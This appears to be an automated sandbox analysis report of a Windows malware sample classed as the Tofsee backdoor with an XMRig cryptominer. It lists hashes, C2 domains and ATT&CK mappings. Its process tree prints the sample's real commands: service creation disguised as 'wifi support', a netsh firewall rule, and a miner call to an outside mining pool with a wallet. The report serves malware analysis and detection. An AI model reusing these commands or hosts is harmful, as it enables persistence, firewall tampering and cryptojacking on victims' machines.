Analysis

  • max time kernel
    151s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 17:05

General

  • Target

    file.exe

  • Size

    185KB

  • MD5

    1a8cef9789b5c1e3a83ef003720aacdd

  • SHA1

    d07c3110de282cf420237cf26f56ca58ad399132

  • SHA256

    bc004f040d80ca215b98f3ad47251266d2a24041c3e578a5a9a73d93f8201a12

  • SHA512

    b92a90d6184a912af34ca71d7a23ce30f7fe695e47e5c2a861d0578e6b180b89604dff681928af3b5d3c7bbe3ea25931db16415a4c70ccd2c43ba93ab4ccdfcb

  • SSDEEP

    3072:0KHSLMME4sYRzSHl3lQW51d3XTTCHUjVTvgofFZw/+FIp:qMrGzSHlzxCHUxcM

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gyxojhiv\
      2⤵
        PID:1076
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pflsxjnc.exe" C:\Windows\SysWOW64\gyxojhiv\
        2⤵
          PID:1988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gyxojhiv binPath= "C:\Windows\SysWOW64\gyxojhiv\pflsxjnc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gyxojhiv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gyxojhiv
          2⤵
          • Launches sc.exe
          PID:3080
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 672
          2⤵
          • Program crash
          PID:4116
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1156 -ip 1156
        1⤵
          PID:4964
        • C:\Windows\SysWOW64\gyxojhiv\pflsxjnc.exe
          C:\Windows\SysWOW64\gyxojhiv\pflsxjnc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3236
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4228
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2128
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 520
            2⤵
            • Program crash
            PID:2268
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3236 -ip 3236
          1⤵
            PID:4704

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pflsxjnc.exe
            Filesize

            13.3MB

            MD5

            2888329d4463e90e0681887877182008

            SHA1

            72502f21fbca7f6aac44f29d455ec9339dde72d7

            SHA256

            70fce1b4fa5861cc774f6f85cb537ad5169d4f89b14e697463ea037145a42bdd

            SHA512

            b6f1c8479e0acce9d557800f9f5f73eb3102234ef5e94d49ca63a54776986432c626aa7b36409fb73d2506059facc2923a71ffb970276260b072e6a307d5c598

          • C:\Windows\SysWOW64\gyxojhiv\pflsxjnc.exe
            Filesize

            13.3MB

            MD5

            2888329d4463e90e0681887877182008

            SHA1

            72502f21fbca7f6aac44f29d455ec9339dde72d7

            SHA256

            70fce1b4fa5861cc774f6f85cb537ad5169d4f89b14e697463ea037145a42bdd

            SHA512

            b6f1c8479e0acce9d557800f9f5f73eb3102234ef5e94d49ca63a54776986432c626aa7b36409fb73d2506059facc2923a71ffb970276260b072e6a307d5c598

          • memory/1076-137-0x0000000000000000-mapping.dmp
          • memory/1156-133-0x00000000004E0000-0x00000000004F3000-memory.dmp
            Filesize

            76KB

          • memory/1156-134-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/1156-135-0x000000000071D000-0x000000000072D000-memory.dmp
            Filesize

            64KB

          • memory/1156-136-0x00000000004E0000-0x00000000004F3000-memory.dmp
            Filesize

            76KB

          • memory/1156-153-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/1156-132-0x000000000071D000-0x000000000072D000-memory.dmp
            Filesize

            64KB

          • memory/1988-138-0x0000000000000000-mapping.dmp
          • memory/2128-173-0x0000000000000000-mapping.dmp
          • memory/2128-179-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/2128-174-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/2344-140-0x0000000000000000-mapping.dmp
          • memory/3080-142-0x0000000000000000-mapping.dmp
          • memory/3236-146-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/3236-145-0x00000000006F9000-0x0000000000709000-memory.dmp
            Filesize

            64KB

          • memory/3236-152-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/4060-141-0x0000000000000000-mapping.dmp
          • memory/4228-158-0x0000000002140000-0x0000000002146000-memory.dmp
            Filesize

            24KB

          • memory/4228-154-0x0000000000BD0000-0x0000000000BE5000-memory.dmp
            Filesize

            84KB

          • memory/4228-155-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4228-148-0x0000000000BD0000-0x0000000000BE5000-memory.dmp
            Filesize

            84KB

          • memory/4228-161-0x0000000002150000-0x0000000002160000-memory.dmp
            Filesize

            64KB

          • memory/4228-164-0x00000000021E0000-0x00000000021E5000-memory.dmp
            Filesize

            20KB

          • memory/4228-167-0x0000000007980000-0x0000000007D8B000-memory.dmp
            Filesize

            4.0MB

          • memory/4228-170-0x00000000021F0000-0x00000000021F7000-memory.dmp
            Filesize

            28KB

          • memory/4228-147-0x0000000000000000-mapping.dmp
          • memory/4228-151-0x0000000000BD0000-0x0000000000BE5000-memory.dmp
            Filesize

            84KB

          • memory/5060-143-0x0000000000000000-mapping.dmp